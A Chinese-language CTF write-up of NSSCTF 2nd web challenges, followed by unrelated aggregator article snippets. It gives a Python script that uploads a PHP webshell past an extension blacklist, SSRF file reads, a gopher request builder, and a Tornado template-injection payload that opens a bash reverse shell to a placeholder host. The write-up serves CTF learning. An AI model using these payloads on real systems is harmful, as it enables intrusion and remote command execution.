[NSSCTF 2nd] web復現

?1.php簽到

 <?phpfunction waf($filename){$black_list = array("ph", "htaccess", "ini");$ext = pathinfo($filename, PATHINFO_EXTENSION);foreach ($black_list as $value) {if (stristr($ext, $value)){return false;}}return true;
}if(isset($_FILES['file'])){$filename = urldecode($_FILES['file']['name']);$content = file_get_contents($_FILES['file']['tmp_name']);if(waf($filename)){file_put_contents($filename, $content);} else {echo "Please re-upload";}
} else{highlight_file(__FILE__);
} 

上傳文件名被黑名單ph,htaccess,ini檢測,但是pathinfo檢測到filename.extension/.時,PATHINFO_EXTENSION被檢測為空,空不在黑名單里面,就能繞過檢測

上傳一個1.php/.,在file_put_contents函數中,如果filename為1.php/.,就會在當前目錄創建一個名為1.php的文件,從而實現傳馬

由于沒有上傳點,用py上傳

import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)

/要用url編碼

在環境變量里面找到flag

2.Mybox

直接url=file:///proc/1/environ拿到flag

3.MyBox(revenge)

下載源碼

url=file:///app/app.py

from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__) 
@app.route('/') 
def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7: ], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18: ].split('/_', maxsplit = 1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b ''
while 1: data = s.recv(1024) if data: res += dataelse: break return res
return ''
app.run('0.0.0.0', 827)

如果以file://開頭,則返回后面的文件內容

如果以http://localhost/開頭,則發送一個get請求,獲取url內容

如果以mybox://127.0.0.1:開頭,后面的內容/_左邊為端口,右邊為內容,建立一個socket連接發送解碼后的內容,這個mybox其實就是魔改的gophar

用腳本生成一個gophar請求

import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回車,回車結尾表示http請求結束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

因為是get請求,二次url編碼,可能環境有問題,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞?CVE-2021-41773反彈shell拿到flag

4.MyHurricane

打開是亂的py源碼

整理一下

import tornado.ioloop
import tornado.web
import osBASE_DIR = os.path.dirname(__file__)def waf(data):# Web Application Firewall (WAF) function to filter out certain patternsbl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']for c in bl:if c in data:return Falsefor chunk in data.split():for c in chunk:if not (31 < ord(c) < 128):return Falsereturn Trueclass IndexHandler(tornado.web.RequestHandler):def get(self):# Handle GET requests, read and display the content of the current filewith open(__file__, 'r') as f:self.finish(f.read())def post(self):# Handle POST requests, perform WAF check, and write to HTML file if validdata = self.get_argument("ssti")if waf(data):with open('1.html', 'w') as f:f.write(f"""<html><body>{data}</body></html>""")f.flush()self.render('1.html')  # Render the created HTML fileelse:self.finish('no no no')  # Reject request if WAF check failsif __name__ == "__main__":# Initialize Tornado web applicationapp = tornado.web.Application([(r"/", IndexHandler),], compiled_template_cache=

是一個Tornado框架

WAF過濾一些ssti用到的符號

參數是ssti,post提交,由于過濾了{{ 和}},可以使用{% %}

搜索相關bypass發現include不需要括號可以包含文件

包含/proc/1/environ得到flag

但這是非預期解

預期解:

利用_tt_utf8進行變量覆蓋繞過

tornado在渲染時會執行_tt_utf8(_tt_tmp),將_tt_utf8變量定義為eval,_tt_tmp從post傳參,那么就能執行命令,這里抄用其他師傅的payload

{% set?_tt_utf8=eval?%}{% raw request.body_arguments[request.method][0] %}&shell=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port?<%261'")

在環境變量里面找到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/715897.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/715897.shtml
英文地址,請注明出處:http://en.pswp.cn/news/715897.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

nginx 配置瀏覽器不緩存文件 每次都會從服務器 請求新的文件

目錄 解決問題方法說明 測試html環境js環境第一步然后修改內容 打開帶有js緩存的頁面強制刷新 配置nginx 每次打開頁面都會重新請求index.js 文件重啟nginx再次修改index.js 總結設置為全局 解決問題 適用于實時更新數據的&#xff0c;網頁 可以讓用戶每次都是重新請求&#x…

C語言中的套娃——函數遞歸

目錄 一、什么是遞歸 1.1.遞歸的思想 1.2.遞歸的限制條件 二、舉例體會 2.1.求n的階乘 2.2.順序打印整數的每一位 2.3.斐波那契數列 三、遞歸與迭代 一、什么是遞歸 在學習C語言的過程中&#xff0c;我們經常會跟遞歸打交道&#xff0c;什么是遞歸呢&#xff1f;它其實…

LNMP 架構

環境準備&#xff1a;lnmp 需要安裝 nginx mysql php 論壇/博客 軟件 使用LNMP架構搭建 論壇 1. 關閉防火墻和和核心防護 systemctl disable --now firewalld setenforce 0 2. 編譯安裝 nginx 安裝依賴包 yum -y install pcre-devel zlib-devel gcc gcc-c make 創建…

在Redhat 7 Linux上安裝llama.cpp [ 錯誤stdatomic.h: No such file or directory]

前期準備 在github上下載llama.cpp或克隆。 GitHub - ggerganov/llama.cpp: LLM inference in C/C ? git clone https://github.com/ggerganov/llama.cpp.gitcd llama.cpp 執行make命令編譯llama.cpp make 在huggingface里下載量化了的 gguf格式的llama2模型。 https:/…

每日一練:筆試題復盤-LeeCode原題-判斷二叉樹兩數之和-->找到滿足二叉樹兩數之和的所有路徑

用Java實現&#xff0c;給定一個二叉樹root和一個值 sum &#xff0c;找到從根節點到葉子節點的節點值之和等于 sum 的路徑。 1.該題路徑定義為從樹的根結點開始往下一直到葉子結點所經過的結點 2.葉子節點是指沒有子節點的節點 3.路徑只能從父節點到子節點&#xff0c;不能從子…

Compiling from source on UNIX(cmake doxygen ant maven ccache)

前言 源碼鏈接 cmake-3.18.0 https://cmake.org/files/v3.18/cmake-3.18.0.tar.gzdoxygen-1.10.0 https://www.doxygen.nl/files/doxygen-1.10.0.src.tar.gzapache-ant-1.10.8-bin https://archive.apache.org/dist/ant/binaries/apache-ant-1.10.8-bin.tar.gzapache-maven-3…

#WEB前端(表單)

1.實驗&#xff1a; form、input、label 登錄界面&#xff0c;表單填寫界面 2.IDE&#xff1a;VSCODE 3.記錄&#xff1a; 4.代碼&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name&q…

RedisTemplate中opaForValue.set的注意之處

問題 原本寫了一個小項目&#xff0c;想通過redis緩存實現登錄退出功能&#xff0c;結果出現了莫名奇妙的問題 代碼如下&#xff1a; 報錯&#xff1a; 經過多次調試之后我發現是opsForValue.set(key,value,expireTime)這行代碼的問題&#xff0c;沒有指定過期時間的單位&…

備戰藍橋杯---動態規劃之懸線法

Em...屬于一知道就會&#xff0c;不知道的話比較難想。 我們先看題&#xff1a; 我們不妨把1抽象成一個平面上的點&#xff0c;因此可以變成這一幅圖&#xff1a; 我們假設每一個點被向上牽拉了一根線&#xff1a; 顯然&#xff0c;每一條懸線都有可能成為邊界限制&#xff0c…

JS值和引用

在javaScript中&#xff0c;數據類型整體上可以分為兩大類&#xff1a;基本數據類型和引用數據類型 基本數據類型&#xff1a; string , symbol , number , boolean , undefined , null 引用數據類型&#xff1a; object 1.簡單值&#xff08;原始值&#xff09; 由于簡單…

職業生涯知識回顧-關于抽象類和接口的思考

抽象類和接口是兩個很容易產生疑惑的概念&#xff0c;分不清它們的使用場景&#xff0c;其實只要記住兩點就比較好理解&#xff1a; 接口是對行為的抽象抽象類是對子類有哪些屬性和行為的抽象 當你需要對一個類有哪些行為進行約束時&#xff0c;使用接口&#xff1b;需要為其…

Bulingbuling - 《歷史的教訓》 [ The Lessons of History ]

《歷史的教訓》 兩位當代最偉大思想家的著名論文集&#xff0c;匯集了 5000 多年的歷史 作者&#xff1a;威爾-杜蘭特和阿里爾-杜蘭特 The Lessons of History The celebrated collection of essays compiling over 5,000 years of history by two of the greatest thinkers …

Spring Boot項目中不使用@RequestMapping相關注解,如何動態發布自定義URL路徑

一、前言 在Spring Boot項目開發過程中&#xff0c;對于接口API發布URL訪問路徑&#xff0c;一般都是在類上標識RestController或者Controller注解&#xff0c;然后在方法上標識RequestMapping相關注解&#xff0c;比如&#xff1a;PostMapping、GetMapping注解&#xff0c;通…

Siamrpn++論文中文翻譯(詳細!)

SiamRPN: Evolution of Siamese Visual Tracking with Very Deep Networks SiamRPN&#xff1a;具有非常深度網絡的Siamese視覺跟蹤的進化 【siamrpn論文地址】 https://arxiv.org/abs/1812.11703 摘要 基于Siamese網絡的跟蹤器將跟蹤表示為目標模板和搜索區域之間的卷積特征…

【STA】多場景時序檢查學習記錄

單周期路徑 建立時間時序檢查 在時鐘的有效沿到達觸發器之前&#xff0c;數據應在一定時間內保持穩定&#xff0c;這段時間即觸發器的建立 時間。滿足建立時間要求將確保數據可靠地被捕獲到觸發器中。 建立時間檢查是從發起觸發器中時鐘的第一個有效沿到捕獲觸發器中時鐘后面…

理解大模型的5個關鍵公式

理解大模型的5個關鍵公式_嗶哩嗶哩_bilibili PPT&#xff1a;https://link.excalidraw.com/p/readonly/aBWlNjEckdUlrszwwo6V

基于springboot+vue的社區醫院管理系統

博主主頁&#xff1a;貓頭鷹源碼 博主簡介&#xff1a;Java領域優質創作者、CSDN博客專家、阿里云專家博主、公司架構師、全網粉絲5萬、專注Java技術領域和畢業設計項目實戰&#xff0c;歡迎高校老師\講師\同行交流合作 ?主要內容&#xff1a;畢業設計(Javaweb項目|小程序|Pyt…

chatgpt-3的文章生成器有哪些?可以批量生成文章的生成器

GPT-3&#xff08;Generative Pre-trained Transformer 3&#xff09;作為人工智能領域的一項重大突破&#xff0c;開啟了新一代的文本生成技術。同時市面上也涌現出了一些GPT-3文章生成器&#xff0c;為用戶提供了快速、高效地生成各種類型文章的工具。本文將介紹一些中國的GP…

unity-unity2d基礎操作筆記(三)0.5.000

目標是:牢記以下137條操作,越級上升到中級階段 unity-unity2d基礎操作筆記(三) 一百零一、如何操作一個游戲物體由多個部分組成的動畫一百零二、如何使用rigidbody 2d進行物體移動一百零三、獲取游戲物體身上的組件方法一百零四、代碼控制物體朝向一百零五、不使用插件,純…

C#上位機調試經驗

1.使用Visual Studio的遠程工具 因為上位機軟件安裝在工控機上&#xff0c;不方便調試。如果直接把代碼放在工控機上&#xff0c;又不太安全。 可以在工控機上安裝一個Visual Studio的遠程工具&#xff0c;把隨身帶的筆記本電腦通過網線插在工控機上 這樣可以在筆記本上使用…